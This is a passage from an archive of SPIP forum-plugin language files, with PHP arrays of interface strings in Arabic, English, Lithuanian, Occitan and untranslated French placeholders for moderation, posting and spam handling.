// F
'forum_description' => 'منتدى SPIP (الخاص والعمومي)',
'forum_slogan' => 'إدارة المنتديات الخاصة والعمومي في SPIP'
);
?>
paquet-forum_en.php 0000666 00000000671 15252247467 0010412 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-forum?lang_cible=en
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// F
'forum_description' => 'SPIP’s forum (private and public)',
'forum_slogan' => 'Management of private and public forums in SPIP'
);
?>
forum_lt.php 0000666 00000005776 15252247467 0007145 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=lt
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_radio_articles_futurs' => 'tik busimiems straipsniams (jokių veiksmų duomenų bazėje).',
'bouton_radio_articles_tous' => 'visuose straipsniuose be išimties',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'visimes straipsniams, išskyrus tuos, kuriuos dezaktyvavo forumas.',
// F
'form_pet_message_commentaire' => 'Pranešimas, komentaras?',
'forum' => 'Forumas',
'forum_acces_refuse' => 'Jūs neturite prieigos į šiuos forumus.',
'forum_attention_dix_caracteres' => '<b>Dėmesio !</b> Jūsų pranešime turi būti mažiausiai 10 simbolių.',
'forum_attention_trois_caracteres' => '<b>Dėmesio !</b> Jūsų pavadinime turi būti mažiausiai 3 simboliai.',
'forum_avez_selectionne' => 'Jūs pasirinkote:',
'forum_cliquer_retour' => 'Paspauskite <a href=\'@retour_forum@\'>čia</a>, kad tęsti.',
'forum_forum' => 'forumas',
'forum_message_definitif' => 'galutinis pranešimas: siųsti į interneto svetainę',
'forum_message_trop_long' => 'Jūsų pranešimas yra per daug ilgasš Maksimalus dydis yra 20000 simbolių.', # MODIF
'forum_ne_repondez_pas' => 'Atsakykite į šį pranešimą tik forume šiuo adresu:', # MODIF
'forum_page_url' => 'Jeigu jūsų pranešimas remesi internete publikuojamu pranešimu arba tinklalapiu teikiančiu daugiau informacijos, jūs galite nurodyti žemiau tinklalapio pavadinimą ir adresą',
'forum_poste_par' => 'Įdėtas pranešimas @parauteur@ atitinkantis straipsniu « @titre@ ».', # MODIF
'forum_qui_etes_vous' => '<b>Kas jūs esate?</b> (pasirinktinai)', # MODIF
'forum_texte' => 'Jūsų pranešimo tekstas:', # MODIF
'forum_titre' => 'Pavadinimas:', # MODIF
'forum_url' => 'URL adresas:', # MODIF
'forum_valider' => 'Patvirtinti šį pasirinkimą',
'forum_voir_avant' => 'Peržiūrėti pranešimą iki siuntimo', # MODIF
'forum_votre_email' => 'Jūsų el. pašto adresas:', # MODIF
'forum_votre_nom' => 'Jūsų vardas (arba pseudonimas) :', # MODIF
'forum_vous_enregistrer' => 'Kad galėtumėte dalyvauti šiame forume, jūs turite iš anksto užsiregistruoti. Prašome
nurodyti žemiau jūsų duomenis, kuriuos jūs esate įvedę. Jeigu jūs nesate užregistruoti, jūs turite',
'forum_vous_inscrire' => 'jūs įrašyti',
// I
'icone_suivi_forums' => 'Peržiūrėti/tvarkyti forumus',
'icone_supprimer_message' => 'Ištrinti šį pranešimą',
'icone_valider_message' => 'Patvirtinti šį pranešimą',
'info_liens_syndiques_3' => 'forumai',
'info_liens_syndiques_4' => 'yra',
'info_liens_syndiques_5' => 'forumas',
'info_liens_syndiques_6' => 'yra',
'info_liens_syndiques_7' => 'laukia patvirtinimo',
// O
'onglet_messages_internes' => 'Vidiniai pranešimai',
// R
'repondre_message' => 'Atsakyti į šį pranešimą',
// T
'titre_forum' => 'Forumas'
);
?>
forum_ar.php 0000666 00000030020 15252247467 0007104 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=ar
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucun_message_forum' => 'لا يوجد مشاركات منتدى',
// B
'bouton_radio_articles_futurs' => 'على المقالات المستقبلية فقط (لا تأثير على قاعدة البيانات).',
'bouton_radio_articles_tous' => 'على كل المقالات دون استثناء.',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'على كل المقالات باستثناء المقالات ذات المنتديات المتوقفة.',
'bouton_radio_enregistrement_obligatoire' => 'تسجيل إجباري (
يجب على المستخدمين التسجيل بإدخال عنوانهم البريدي قبل
التمكن من إرسال المشاركات).',
'bouton_radio_moderation_priori' => 'مراقبة استباقية (
لا تظهر المشاركات إلا بعد تصديقها من قبل
المدراء).',
'bouton_radio_modere_abonnement' => 'اشتراك إجباري',
'bouton_radio_modere_posteriori' => 'مراقبة بعدية',
'bouton_radio_modere_priori' => 'مراقبة استباقية',
'bouton_radio_publication_immediate' => 'نشر فوري للمشاركات
(ستظهر المشاركات حال إرسالها، ويمكن للمدراء
حذفها وقتذاك).',
// D
'documents_interdits_forum' => 'المستندات ممنوعة في المنتدى',
// E
'erreur_enregistrement_message' => 'لم يتم تسجيل مشاركتك بسبب مشكلة تقنية',
// F
'form_pet_message_commentaire' => 'أي رسالة أو تعليق؟',
'forum' => 'المنتدى',
'forum_acces_refuse' => 'لم تعد تتمتع بحق الدخول إلى هذه المنتديات.',
'forum_attention_dix_caracteres' => '<b>تحذير!</b> يجب أن تحتوي رسالتك على عشرة حروف على الأقل.',
'forum_attention_message_non_poste' => 'تحذير، لم تقم ببعث رسالتك!',
'forum_attention_nb_caracteres_mini' => '<b>تحذير!</b> يجب أن تحتوي رسالتك على @min@ حرف على الأقل.',
'forum_attention_trois_caracteres' => '<b>تحذير!</b> يجب أن يحتوي موضوعك على ثلاثة حروف على الأقل.',
'forum_attention_trop_caracteres' => '<b>تحذير!</b> رسالتك طويلة جداً (@compte@ حرف): لكي يتم تسجيلها، لا يجب ان تتعدى @max@ حرف.',
'forum_avez_selectionne' => 'لقد حددت:',
'forum_cliquer_retour' => 'انقر <a href=\'@retour_forum@\'>هنا</a> للمتابعة.',
'forum_forum' => 'منتدى',
'forum_info_modere' => 'هذا المنتدى مراقب استباقياً: لن تظهر مشاركتك إلا بعد التصديق عليها من قبل أحد المدراء.',
'forum_lien_hyper' => 'رابط هايبرتكست',
'forum_message' => 'مشاركتك',
'forum_message_definitif' => 'مشاركة نهائية: إرسال إلى الموقع',
'forum_message_trop_long' => 'مشاركتك طويلة جداً. لا يجب أن تتعدى الحد الأقصى وهو ٢٠٠٠٠ حرف.',
'forum_ne_repondez_pas' => 'لا ترد على هذه الرسالة بل في المنتدى على العنوان التالي:',
'forum_page_url' => '(إذا كانت مشاركتك تشير إلى مقال منشور على النسيج أو صفحة توفر المزيد من المعلومات، الرجاء إدخال اسم هذه الصفحة وعنوانها أدناه).',
'forum_permalink' => 'رابط دائم الى التعليق',
'forum_poste_par' => 'مشاركة مرسلة@parauteur@ تعقيباً على المقال «@titre@».',
'forum_poste_par_court' => 'مشاركة مرسلة@parauteur@.',
'forum_poste_par_generique' => 'مشاركة مرسلة@parauteur@ (@objet@ « @titre@ »).',
'forum_qui_etes_vous' => 'من أنت؟',
'forum_saisie_texte_info' => 'تدعم هذه الاستمارة اختصارات SPIP <code>[->url] {{أسود}} {مائل} <quote> <code></code> وعلامات HTML <code><q> <del> <ins></code>. لإنشاء فقرات أترك اسطر فارغة.',
'forum_texte' => 'نص المشاركة',
'forum_titre' => 'الموضوع',
'forum_url' => 'موقعك',
'forum_valider' => 'التصديق على هذا الخيار',
'forum_voir_avant' => 'معاينة',
'forum_votre_email' => 'عنوانك الإلكتروني',
'forum_votre_nom' => 'اسمك',
'forum_vous_enregistrer' => 'قبل الاشتراك في
هذا المنتدى، يجب أن تسجل نفسك. الرجاء
إدخال أدناه المعرّف الشخصي الذي
حصلت عليه. إذا لم يسبق لك التسجيل يجب',
'forum_vous_inscrire' => 'ان تسجل نفسك.',
// I
'icone_bruler_message' => 'تحديد كرسالة خنزرة',
'icone_bruler_messages' => 'تحدبد كرسالة خنزرة',
'icone_legitimer_message' => 'تحديد كمشاركة صالحة',
'icone_poster_message' => 'إرسال مشاركة',
'icone_suivi_forum' => 'متابعة المنتدى العام: @nb_forums@ مشاركة',
'icone_suivi_forums' => 'متابعة/إدارة المنتديات',
'icone_supprimer_message' => 'حذف هذه المشاركة',
'icone_supprimer_messages' => 'خذف هذه المشاركات',
'icone_valider_message' => 'التصديق على هذه المشاركة',
'icone_valider_messages' => 'التصديق على هذه المشاركات',
'icone_valider_repondre_message' => 'التصديق على هذه المشاركة والرد عليها',
'info_1_message_forum' => 'مشاركة منتدى واحدة',
'info_activer_forum_public' => 'لتفعيل المنتديات العامة، الرجاء إختيار وضعية
المراقبة الافتراضية:',
'info_appliquer_choix_moderation' => 'تطبيق خيار المراقبة هذا:',
'info_config_forums_prive' => 'في المجال الخاص للموقع، يمكنك تفعيل عدة انواع من المنتديات:',
'info_config_forums_prive_admin' => 'منتدى مخصص لمدراء الموقع:',
'info_config_forums_prive_global' => 'منتدى شامل، مفتوح لجميع المحررين:',
'info_config_forums_prive_objets' => 'منتدى تحت كل مقال او خبر او موقع مبوّب الخ:',
'info_desactiver_forum_public' => 'ايقاف استخدام المنتديات
العامة. تتم إتاحة المنتديات العامة حسب كل حالة
للمقالات؛ وستكون محظورة في الأقسام والأخبار الخ.',
'info_envoi_forum' => 'إرسال المنتديات الى مؤلفي المقالات',
'info_fonctionnement_forum' => 'تشغيل المنتدى:',
'info_forums_liees_mot' => 'مشاركات المنتدى المرتبطة بهذا المفتاح',
'info_gauche_suivi_forum_2' => 'صفحة <i>متابعة المنتديات</i> هي أداة إدارية في موقعك (وليست للنقاش او التحرير). وتعرض هذه الصفحة كل مشاركات منتديات الموقع، العمومية منها كما الخاصة وتتيح لك التحكم بهذه المشاركات.',
'info_liens_syndiques_3' => 'منتدى',
'info_liens_syndiques_4' => 'هي',
'info_liens_syndiques_5' => 'منتدى',
'info_liens_syndiques_6' => 'هو',
'info_liens_syndiques_7' => 'بانتظار التصديق',
'info_liens_texte' => 'الرابط او الروابط الموجودة في نص المشاركة',
'info_liens_titre' => 'الرتبط او الروابط الموجودة في عنوان المشاركة',
'info_mode_fonctionnement_defaut_forum_public' => 'الوضعية الافتراضية لتشغيل المنتديات العامة',
'info_nb_messages_forum' => '@nb@ مشاركة منتدى',
'info_option_email' => 'عندما يبعث احد زوار الموقع بمشاركة الى المنتدى المرتبط بأحد المقالات، يمكن إعلام مؤلفي المقال بهذه المشاركة بواسطة البريد الالكتروني. عليك بتحديد استخدام هذا الخيار ام لا لكل نوع من المنتديات.',
'info_pas_de_forum' => 'بدون منتديات',
'info_question_visiteur_ajout_document_forum' => 'اذا اردت السماح للزوار بإرفاق مستندات (صور، اصوات،...) بمشاركاتهم في المنتدى، حدد هنا لائحة لواحق المستندات المسموح بها في المنتديات (مثلاً: gif او jpg او png او mp3).',
'info_question_visiteur_ajout_document_forum_format' => 'اذا اردت السماح بكل انواع المستندات التي يعتبرها SPIP آمنة، ضع نجمة (*).اما اذا اردت عدم السماح بأي نوع، فلا تدخل أي شيء.',
'info_selectionner_message' => 'تحديد الرسائل:',
'interface_formulaire' => 'واجهة الاستمارة',
'interface_onglets' => 'واجهة مقسّمة',
'item_activer_forum_administrateur' => 'تفعيل منتدى المدراء',
'item_config_forums_prive_global' => 'تفعيل منتدى المحررين',
'item_config_forums_prive_objets' => 'تفعيل هذه المنتديات',
'item_desactiver_forum_administrateur' => 'ايقاف منتدى المدراء',
'item_non_config_forums_prive_global' => 'تعطيل منتدى المحررين',
'item_non_config_forums_prive_objets' => 'تعطيل هذه المنتديات',
// L
'label_selectionner' => 'تحديد:',
'lien_reponse_article' => 'الرد على المقال',
'lien_reponse_breve_2' => 'الرد على الخبر',
'lien_reponse_message' => 'الرد على المشاركة',
'lien_reponse_rubrique' => 'الرد على القسم',
'lien_reponse_site_reference' => 'الرد على الموقع المبوب',
'lien_vider_selection' => 'تفريغ التحديد',
// M
'messages_aucun' => 'غير موجود',
'messages_meme_auteur' => 'كل مشاركات هذا المؤلف',
'messages_meme_email' => 'كل مشاركات هذا العنوان البريدي',
'messages_meme_ip' => 'كل مشاركات عنوان IP',
'messages_off' => 'حذفت',
'messages_perso' => 'شخصية',
'messages_privadm' => 'المدراء',
'messages_prive' => 'خاصة',
'messages_privoff' => 'حذفت',
'messages_privrac' => 'عامة',
'messages_prop' => 'مقترحة',
'messages_publie' => 'منشورة',
'messages_spam' => 'خنزرة',
'messages_tous' => 'الكل',
// O
'onglet_messages_internes' => 'الرسائل الداخلية',
'onglet_messages_publics' => 'المشاركات العامة',
'onglet_messages_vide' => 'رسائل بدون نص',
// R
'repondre_message' => 'الرد على هذه المشاركة',
// S
'statut_off' => 'محذوفة',
'statut_original' => 'اصلي',
'statut_prop' => 'مقترحة',
'statut_publie' => 'منشورة',
'statut_spam' => 'خنزرة',
// T
'text_article_propose_publication_forum' => 'لا تتردد في إبداء رأيك عليه من خلال المنتدى المرتبط به (في أسفل الصفحة).',
'texte_en_cours_validation' => 'المحتويات أدناه معروضة للنشر.',
'texte_en_cours_validation_forum' => 'لا تتردد في إبداء رأيك من خلال المنتديات المرتبطة بها.',
'texte_messages_publics' => 'مشاركات عمومية في:',
'titre_cadre_forum_administrateur' => 'منتدى المدراء الخاص',
'titre_cadre_forum_interne' => 'المنتدى الداخلي',
'titre_config_forums_prive' => 'منتديات المجال الخاص',
'titre_forum' => 'المنتدى',
'titre_forum_suivi' => 'متابعة المنتديات',
'titre_page_forum_suivi' => 'متابعة المنتديات',
'titre_selection_action' => 'التحديد',
'tout_voir' => 'عرض كل المشاركات',
// V
'voir_messages_objet' => 'عرض المشاركات'
);
?>
forum_tt.php 0000666 00000025237 15252247467 0007147 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://www.spip.net/trad-lang/
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucun_message_forum' => 'Aucun message de forum', # NEW
// B
'bouton_radio_articles_futurs' => 'aux articles futurs uniquement (pas d\'action sur la base de données).', # NEW
'bouton_radio_articles_tous' => 'à tous les articles sans exception.', # NEW
'bouton_radio_articles_tous_sauf_forum_desactive' => 'à tous les articles, sauf ceux dont le forum est désactivé.', # NEW
'bouton_radio_enregistrement_obligatoire' => 'Enregistrement obligatoire (les
utilisateurs doivent s\'abonner en fournissant leur adresse e-mail avant de
pouvoir poster des contributions).', # NEW
'bouton_radio_moderation_priori' => 'Modération à priori (les
contributions ne s\'affichent publiquement qu\'après validation par les
administrateurs).', # NEW
'bouton_radio_modere_abonnement' => 'sur abonnement', # NEW
'bouton_radio_modere_posteriori' => 'modération à posteriori', # NEW
'bouton_radio_modere_priori' => 'modération à priori', # NEW
'bouton_radio_publication_immediate' => 'Publication immédiate des messages
(les contributions s\'affichent dès leur envoi, les administrateurs peuvent
les supprimer ensuite).', # NEW
// D
'documents_interdits_forum' => 'Documents interdits dans le forum', # NEW
// E
'erreur_enregistrement_message' => 'Votre message n\'a pas pu être enregistré en raison d\'un problème technique', # NEW
// F
'form_pet_message_commentaire' => 'Un message, un commentaire ?', # NEW
'forum' => 'Forum', # NEW
'forum_acces_refuse' => 'Vous n\'avez plus accès à ces forums.', # NEW
'forum_attention_dix_caracteres' => '<b>Attention !</b> votre message doit contenir au moins dix caractères.', # NEW
'forum_attention_message_non_poste' => 'Attention, vous n\'avez pas posté votre message !', # NEW
'forum_attention_trois_caracteres' => '<b>Attention !</b> votre titre doit contenir au moins trois caractères.', # NEW
'forum_attention_trop_caracteres' => '<b>Attention !</b> votre message est trop long (@compte@ caractères) : pour pouvoir être enregistré, il ne doit pas dépasser @max@ caractères.', # NEW
'forum_avez_selectionne' => 'Vous avez sélectionné :', # NEW
'forum_cliquer_retour' => 'Cliquez <a href=\'@retour_forum@\'>ici</a> pour continuer.', # NEW
'forum_forum' => 'forum', # NEW
'forum_info_modere' => 'Ce forum est modéré à priori : votre contribution n\'apparaîtra qu\'après avoir été validée par un administrateur du site.', # NEW
'forum_lien_hyper' => 'Lien hypertexte', # NEW
'forum_message' => 'Votre message', # NEW
'forum_message_definitif' => 'Message définitif : envoyer au site', # NEW
'forum_message_trop_long' => 'Votre message est trop long. La taille maximale est de 20000 caractères.', # NEW
'forum_ne_repondez_pas' => 'Ne répondez pas à ce mail mais sur le forum à l\'adresse suivante :', # NEW
'forum_page_url' => '(Si votre message se réfère à un article publié sur le Web, ou à une page fournissant plus d\'informations, vous pouvez indiquer ci-après le titre de la page et son adresse.)', # NEW
'forum_permalink' => 'Lien permanent vers le commentaire', # NEW
'forum_poste_par' => 'Message posté@parauteur@ à la suite de l\'article « @titre@ ».', # NEW
'forum_qui_etes_vous' => 'Qui êtes-vous ?', # NEW
'forum_saisie_texte_info' => 'Ce formulaire accepte les raccourcis SPIP <code>[->url] {{gras}} {italique} <quote> <code></code> et le code HTML <code><q> <del> <ins></code>. Pour créer des paragraphes, laissez simplement des lignes vides.', # NEW
'forum_texte' => 'Texte de votre message', # NEW
'forum_titre' => 'Titre', # NEW
'forum_url' => 'Votre site web', # NEW
'forum_valider' => 'Valider ce choix', # NEW
'forum_voir_avant' => 'Prévisualiser', # NEW
'forum_votre_email' => 'Votre adresse email', # NEW
'forum_votre_nom' => 'Votre nom', # NEW
'forum_vous_enregistrer' => 'Pour participer à
ce forum, vous devez vous enregistrer au préalable. Merci
d\'indiquer ci-dessous l\'identifiant personnel qui vous a
été fourni. Si vous n\'êtes pas enregistré, vous devez', # NEW
'forum_vous_inscrire' => 'vous inscrire.', # NEW
// I
'icone_bruler_message' => 'Signaler comme Spam', # NEW
'icone_bruler_messages' => 'Signaler comme Spam', # NEW
'icone_legitimer_message' => 'Signaler comme licite', # NEW
'icone_poster_message' => 'Poster un message', # NEW
'icone_suivi_forum' => 'Suivi du forum public : @nb_forums@ contribution(s)', # NEW
'icone_suivi_forums' => 'Suivre/gérer les forums', # NEW
'icone_supprimer_message' => 'Supprimer ce message', # NEW
'icone_supprimer_messages' => 'Supprimer ces messages', # NEW
'icone_valider_message' => 'Valider ce message', # NEW
'icone_valider_messages' => 'Valider ces messages', # NEW
'icone_valider_repondre_message' => 'Valider & Répondre à ce message', # NEW
'info_1_message_forum' => '1 message de forum', # NEW
'info_activer_forum_public' => 'Pour activer les forums publics, veuillez choisir leur mode
de modération par défaut :', # NEW
'info_appliquer_choix_moderation' => 'Appliquer ce choix de modération :', # NEW
'info_config_forums_prive' => 'Dans l’espace privé du site, vous pouvez activer plusieurs types de forums :', # NEW
'info_config_forums_prive_admin' => 'Un forum réservé aux administrateurs du site :', # NEW
'info_config_forums_prive_global' => 'Un forum global, ouvert à tous les rédacteurs :', # NEW
'info_config_forums_prive_objets' => 'Un forum sous chaque article, brève, site référencé, etc. :', # NEW
'info_desactiver_forum_public' => 'Désactiver l\'utilisation des forums
publics. Les forums publics pourront être autorisés au cas par cas
sur les articles ; ils seront interdits sur les rubriques, brèves, etc.', # NEW
'info_envoi_forum' => 'Envoi des forums aux auteurs des articles', # NEW
'info_fonctionnement_forum' => 'Fonctionnement du forum :', # NEW
'info_forums_liees_mot' => 'Les messages de forum liés à ce mot', # NEW
'info_gauche_suivi_forum_2' => 'La page de <i>suivi des forums</i> est un outil de gestion de votre site (et non un espace de discussion ou de rédaction). Elle affiche toutes les contributions des forums du site, aussi bien celles du site public que de l\'espace privé et vous permet de gérer ces contributions.', # NEW
'info_liens_syndiques_3' => 'forums', # NEW
'info_liens_syndiques_4' => 'sont', # NEW
'info_liens_syndiques_5' => 'forum', # NEW
'info_liens_syndiques_6' => 'est', # NEW
'info_liens_syndiques_7' => 'en attente de validation', # NEW
'info_liens_texte' => 'Lien(s) contenu(s) dans le texte du message', # NEW
'info_liens_titre' => 'Lien(s) contenu(s) dans le titre du message', # NEW
'info_mode_fonctionnement_defaut_forum_public' => 'Mode de fonctionnement par défaut des forums publics', # NEW
'info_nb_messages_forum' => '@nb@ messages de forum', # NEW
'info_option_email' => 'Lorsqu\'un visiteur du site poste un nouveau message dans le forum associé à un article, les auteurs de l\'article peuvent être prévenus de ce message par e-mail. Indiquer pour chaque type de forum s\'il faut utiliser cette option.', # NEW
'info_pas_de_forum' => 'pas de forum', # NEW
'info_question_visiteur_ajout_document_forum' => 'Si vous souhaitez autoriser les visiteurs à joindre des documents (images, sons...) à leurs messages de forum, indiquez ci-dessous la liste des extensions de documents autorisés pour les forums (ex: gif, jpg, png, mp3).', # NEW
'info_question_visiteur_ajout_document_forum_format' => 'Si vous souhaitez autoriser tous les types de documents considérés comme fiables par SPIP, mettez une étoile. Pour ne rien autoriser, n\'indiquez rien.', # NEW
'interface_formulaire' => 'Interface formulaire', # NEW
'interface_onglets' => 'Interface avec onglets', # NEW
'item_activer_forum_administrateur' => 'Activer le forum des administrateurs', # NEW
'item_config_forums_prive_global' => 'Activer le forum des rédacteurs', # NEW
'item_config_forums_prive_objets' => 'Activer ces forums', # NEW
'item_desactiver_forum_administrateur' => 'Désactiver le forum des administrateurs', # NEW
'item_non_config_forums_prive_global' => 'Désactiver le forum des rédacteurs', # NEW
'item_non_config_forums_prive_objets' => 'Désactiver ces forums', # NEW
// L
'lien_reponse_article' => 'Réponse à l\'article', # NEW
'lien_reponse_breve_2' => 'Réponse à la brève', # NEW
'lien_reponse_message' => 'Réponse au message', # NEW
'lien_reponse_rubrique' => 'Réponse à la rubrique', # NEW
'lien_reponse_site_reference' => 'Réponse au site référencé', # NEW
// M
'messages_aucun' => 'Aucun', # NEW
'messages_meme_auteur' => 'Tous les messages de cet auteur', # NEW
'messages_meme_email' => 'Tous les messages de cet email', # NEW
'messages_meme_ip' => 'Tous les messages de cette IP', # NEW
'messages_off' => 'Supprimés', # NEW
'messages_perso' => 'Personnels', # NEW
'messages_privadm' => 'Administrateurs', # NEW
'messages_prive' => 'Privés', # NEW
'messages_privoff' => 'Supprimés', # NEW
'messages_privrac' => 'Généraux', # NEW
'messages_prop' => 'Proposés', # NEW
'messages_publie' => 'Publiés', # NEW
'messages_spam' => 'Spam', # NEW
'messages_tous' => 'Tous', # NEW
// O
'onglet_messages_internes' => 'Messages internes', # NEW
'onglet_messages_publics' => 'Messages publics', # NEW
'onglet_messages_vide' => 'Messages sans texte', # NEW
// R
'repondre_message' => 'Répondre à ce message', # NEW
// S
'statut_off' => 'Supprimé', # NEW
'statut_original' => 'original', # NEW
'statut_prop' => 'Proposé', # NEW
'statut_publie' => 'Publié', # NEW
'statut_spam' => 'Spam', # NEW
// T
'text_article_propose_publication_forum' => 'N\'hésitez pas à donner votre avis grâce au forum attaché à cet article (en bas de page).', # NEW
'texte_en_cours_validation' => 'Les articles, brèves, forums ci dessous sont proposés à la publication.', # NEW
'texte_en_cours_validation_forum' => 'N\'hésitez pas à donner votre avis grâce aux forums qui leur sont attachés.', # NEW
'texte_messages_publics' => 'Messages publics sur :', # NEW
'titre_cadre_forum_administrateur' => 'Forum privé des administrateurs', # NEW
'titre_cadre_forum_interne' => 'Forum interne', # NEW
'titre_config_forums_prive' => 'Forums de l’espace privé', # NEW
'titre_forum' => 'Forum', # NEW
'titre_forum_suivi' => 'Suivi des forums', # NEW
'titre_page_forum_suivi' => 'Suivi des forums', # NEW
'titre_selection_action' => 'Sélection', # NEW
'tout_voir' => 'Voir tous les messages', # NEW
// V
'voir_messages_objet' => 'voir les messages' # NEW
);
?>
forum_oc_gsc.php 0000666 00000013705 15252247467 0007752 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=oc_gsc
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_radio_articles_futurs' => 'aus articles futurs sonque (nada accion sus la basa de dadas).',
'bouton_radio_articles_tous' => 'aus articles tots shens excepcion',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'a tots los articles, sauv los qui lo lor forum ei desactivat.',
'bouton_radio_enregistrement_obligatoire' => 'Registrament obligatòri (los utilizaires que’s deven abonar en dar la lor adreiça e-mail abans de poder mandar contribucions).',
'bouton_radio_moderation_priori' => 'Moderacion a priòri (las
contribucions qu’apareishen en public sonque se los administrators
las an validadas).', # MODIF
'bouton_radio_modere_abonnement' => 'moderat dab abonament',
'bouton_radio_modere_posteriori' => 'moderat a posteriòri', # MODIF
'bouton_radio_modere_priori' => 'moderat a priòri', # MODIF
'bouton_radio_publication_immediate' => 'Publicar los messatges suu pic
(las contribucions qu’apareishen tanlèu mandadas, los administrators que las pòden
suprimir puish).',
// F
'form_pet_message_commentaire' => 'Un messatge, ua remarca?',
'forum' => 'Forum',
'forum_acces_refuse' => 'Non podetz plus accedir a aqueths forums.',
'forum_attention_dix_caracteres' => '<b>Atencion!</b> lo vòste messatge que deu tiéner aumensh dètz caractèrs.',
'forum_attention_trois_caracteres' => '<b>Atencion!</b> lo vòste títol que deu tiéner aumensh de tres caractèrs.',
'forum_avez_selectionne' => 'Qu’avetz seleccionat:',
'forum_cliquer_retour' => 'Clicatz <a href=\'@retour_forum@\'>ací</a> tà contunhar.',
'forum_forum' => 'forum',
'forum_info_modere' => 'Aqueste forum qu’ei moderat a priòri: la vòsta contribucion que pareisherà sonque après qu’un administrator deu sit l’aja validada.', # MODIF
'forum_lien_hyper' => '<b>Ligam ipertèxt</b> (opcionau)', # MODIF
'forum_message_definitif' => 'Messatge definitiu : mandar au sit',
'forum_message_trop_long' => 'Lo vòste messatge qu’ei tròp long. La longor maximau qu’ei de 20 000 caractèrs.', # MODIF
'forum_ne_repondez_pas' => 'Non responiatz pas a aqueth e-mail mes peu forum a l’adreiça seguenta: ', # MODIF
'forum_page_url' => '(se lo vòste messatge e’s refereish a un article publicat peu web, o a ua pagina qui baile mei informacions, que podetz marcar ça devath lo títol de la pagina e la soa adreiça URL.)',
'forum_poste_par' => 'Messatge poste@parauteur@ qui hè seguida au vòste article.', # MODIF
'forum_qui_etes_vous' => '<b>Qui ètz?</b> (opcionau)', # MODIF
'forum_texte' => 'Tèxt deu vòste messatge:', # MODIF
'forum_titre' => 'Títol:', # MODIF
'forum_url' => 'URL:', # MODIF
'forum_valider' => 'Validar aquera causida',
'forum_voir_avant' => 'Véder lo messatge abans de’u mandar', # MODIF
'forum_votre_email' => 'La vòsta adreiça e-mail:', # MODIF
'forum_votre_nom' => 'Lo vòste nom (o pseudonim):', # MODIF
'forum_vous_enregistrer' => 'Entà participar a
aqueth forum, en permèras que’vs cau registrar. Mercés
de marcar ça devath l’identificant personau qui avetz recebut.
Se n’ètz pas registrat/ada, qu’ei necessari',
'forum_vous_inscrire' => 'inscrive’vs',
// I
'icone_poster_message' => 'Postar un messatge',
'icone_suivi_forum' => 'Seguit deu forum public: @nb_forums@ contribucion(s)',
'icone_suivi_forums' => 'Seguir/gerir los forums',
'icone_supprimer_message' => 'Suprimir aqueth messatge',
'icone_valider_message' => 'Validar aqueth messatge',
'info_activer_forum_public' => '<i>Tà activar los forums publics, volhatz causir lo lor mòde de moderacion predefinit:</i>', # MODIF
'info_appliquer_choix_moderation' => 'Aplicar aquera causida de moderacion:',
'info_desactiver_forum_public' => 'Desactivar l’utilizacion deus forums publics. Los forums publics que poiràn estar autorizats au cas per cas suus articles; que seràn proïbits sus las rubricas, brèvas, etc.',
'info_envoi_forum' => 'Mandadís deus forums aus autors deus articles',
'info_fonctionnement_forum' => 'Foncionament deu forum:',
'info_gauche_suivi_forum_2' => 'La pagina de <i>seguit deus forums</i> qu’ei un gatge de gestion deu vòste sit (mes n’ei pas un espaci tà discutir o tà redigir). Qu’aficha totas las contribucions deu forum public d’aqueth article e que’vs permet de gerir aqueras contribucions.', # MODIF
'info_liens_syndiques_3' => 'forums',
'info_liens_syndiques_4' => 'que son',
'info_liens_syndiques_5' => 'forum',
'info_liens_syndiques_6' => 'qu’ei',
'info_liens_syndiques_7' => 'en espèra de validacion',
'info_mode_fonctionnement_defaut_forum_public' => 'Mòde de foncionament predefinit deus forums publics',
'info_option_email' => 'Quan un vesitaire deu sit e manda un messatge nau au forum
associat a un article, que se’n pòt avisar los autors
de l’article per e-mail. E desiratz d’utilizar aquera opcion?', # MODIF
'info_pas_de_forum' => 'Nat forum',
'item_activer_forum_administrateur' => 'Activar lo forum deus administrators',
'item_desactiver_forum_administrateur' => 'Desactivar lo forum deus administrators',
// L
'lien_reponse_article' => 'Responsa a l’article',
'lien_reponse_breve_2' => 'Responsa a la brèva',
'lien_reponse_rubrique' => 'Responsa a la rubrica',
'lien_reponse_site_reference' => 'Responsa au sit referenciat:', # MODIF
// O
'onglet_messages_internes' => 'Messatges intèrnes',
'onglet_messages_publics' => 'Messatges publics',
'onglet_messages_vide' => 'Messatges shens tèxt',
// R
'repondre_message' => 'Arrespóner a aqueth messatge',
// T
'titre_cadre_forum_administrateur' => 'Forum privat deus administrators',
'titre_cadre_forum_interne' => 'Forum intèrne',
'titre_forum' => 'Forum',
'titre_forum_suivi' => 'Seguit deus forums',
'titre_page_forum_suivi' => 'Seguit deus forums'
);
?>
forum_oc_prv.php 0000666 00000013523 15252247467 0010003 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=oc_prv
// ** ne pas modifier le fichier **
